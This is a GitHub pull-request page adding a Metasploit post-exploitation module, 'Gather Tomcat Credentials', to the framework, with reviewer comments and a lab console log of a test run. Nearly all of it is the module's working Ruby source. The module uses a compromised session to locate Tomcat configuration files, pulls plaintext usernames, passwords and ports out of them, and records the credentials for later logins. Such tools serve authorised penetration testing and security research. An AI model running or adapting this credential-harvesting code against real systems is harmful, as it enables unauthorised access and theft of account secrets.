Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added tomcat_gather modules to Metasploit. #8010

Merged
merged 4 commits into from Mar 31, 2017
Merged
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
166 changes: 166 additions & 0 deletions modules/post/multi/gather/tomcat_gather.rb
@@ -0,0 +1,166 @@
require 'rex'
require 'rexml/document'
require 'msf/core'
require 'msf/core/auxiliary/report'

class MetasploitModule < Msf::Post

include Msf::Post::File
include Msf::Post::Windows::Services

def initialize(info={})
super( update_info( info,
'Name' => 'Gather Tomcat Credentials',
'Description' => %q{
This module will attempt to collect credentials from Tomcat services running on the machine.
},
'License' => MSF_LICENSE,
'Author' => [
'Koen Riepe <koen.riepe@fox-it.com>', # Module author
],
'Platform' => [ 'win', 'linux' ],
'SessionTypes' => [ 'meterpreter' ]
))
end

$username = Array.new
$password = Array.new
$port = 0

def report_creds(user, pass, port)
return if (user.empty? or pass.empty?)
# Assemble data about the credential objects we will be creating
credential_data = {
origin_type: :session,
post_reference_name: self.fullname,
private_data: pass,
private_type: :password,
session_id: session_db_id,
username: user,
workspace_id: myworkspace_id,
}

credential_core = create_credential(credential_data)

if not port.is_a? Integer
print_status("Port not an Integer")
port = 8080
end

login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED,
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
port: port,
service_name: 'Tomcat',
protocol: 'tcp',
workspace_id: myworkspace_id
}

create_credential_login(login_data)
end

def gatherwin()
print_status("Windows OS detected, enumerating services")
service_list.each do |service|
if service[:name].downcase().include? "tomcat"
print_good("Tomcat service found")
tomcat_home = service_info(service[:name])[:path].split("\\bin\\")[0]
conf_path = tomcat_home.split('"')[1] + "\\conf\\tomcat-users.xml"

if exist?(conf_path)
print_status("tomcat-users.xml found")
xml = read_file(conf_path).split("\n")

comment_block = false
xml.each do |line|
if line.include? "<user username=" and not comment_block
$username.push(line.split('<user username="')[1].split('"')[0])
$password.push(line.split('password="')[1].split('"')[0])
elsif line.include? ("<!--")
comment_block = true
elsif line.include? ("-->") and comment_block
comment_block = false
end
end
end

port_path = tomcat_home.split('"')[1] + "\\conf\\server.xml"
if exist?(port_path)
xml = read_file(port_path).split("\n")
end
comment_block = false
xml.each do |line|
if line.include? "<Connector" and not comment_block
$port = line.split('<Connector port="')[1].split('"')[0].to_i
elsif line.include? ("<!--")
comment_block = true
elsif line.include? ("-->") and comment_block
comment_block = false
end
end
end
end
end

def gathernix()
print_status("Unix OS detected")
user_files = cmd_exec('locate tomcat-users.xml').split("\n")
user_files.each do |path|
if exist?(path) and not path.include? "tomcat8"
print_status("tomcat-users.xml found")
xml = read_file(path).split("\n")

comment_block = false
xml.each do |line|
if line.include? "<user username=" and not comment_block
$username.push(line.split('<user username="')[1].split('"')[0])
$password.push(line.split('password="')[1].split('"')[0])
elsif line.include? ("<!--")
comment_block = true
elsif line.include? ("-->") and comment_block
comment_block = false
end
end
end
end

port_path = cmd_exec('locate server.xml').split("\n")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

split assumes cmd_exec got an answer back.

Active sessions
===============

  Id  Type                   Information                                                              Connection
  --  ----                   -----------                                                              ----------
  1   shell /linux           SSH tomcat:tomcat (192.168.2.118:22)                                     192.168.2.117:46871 -> 192.168.2.118:22 (192.168.2.118)
  2   meterpreter x86/linux  uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000 @ tomcat  192.168.2.117:4433 -> 192.168.2.118:59204 (192.168.2.118)

msf auxiliary(ssh_login) > 
msf auxiliary(ssh_login) > 
msf auxiliary(ssh_login) > use post/multi/gather/tomcat_gather 
msf post(tomcat_gather) > set session 2
session => 2
msf post(tomcat_gather) > run

[*] Unix OS detected
[-] Failed to open file: /etc/tomcat8/server.xml: core_channel_open: Operation failed: 13
[-] Post failed: NoMethodError undefined method `split' for nil:NilClass
[-] Call stack:
[-]   /metasploit-framework/modules/post/multi/gather/tomcat_gather.rb:131:in `block in gathernix'
[-]   /metasploit-framework/modules/post/multi/gather/tomcat_gather.rb:129:in `each'
[-]   /metasploit-framework/modules/post/multi/gather/tomcat_gather.rb:129:in `gathernix'
[-]   /metasploit-framework/modules/post/multi/gather/tomcat_gather.rb:150:in `run'
[*] Post module execution completed

port_path.each do |path|
if exist?(path)
xml = read_file(path).split("\n")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This may be the other source of the issue. What does read_file return if permission denied? In my case, the user didn't have access to open the file, got permission denied, was that tested for?

comment_block = false
xml.each do |line|
if line.include? "<Connector" and not comment_block
$port = line.split('<Connector port="')[1].split('"')[0].to_i
elsif line.include? ("<!--")
comment_block = true
elsif line.include? ("-->") and comment_block
comment_block = false
end
end
end
end
end

def run()
if sysinfo['OS'].include? "Windows"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

still need a default case here, just in case. maybe try both win and nix? or error out and demand mettle/meterpreter assuming its a standard shell

gatherwin()
else
gathernix()
end

i=0
while i < $username.count
print_good("Username and password found: " + $username[i] + ":" + $password[i])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Either this line should include the file path, or a header should be printed when you loop through the files so that we know which file the un/pass came from

report_creds($username[i],$password[i],$port)
i+=1
end

$username = Array.new
$password = Array.new
$port = 0

end

end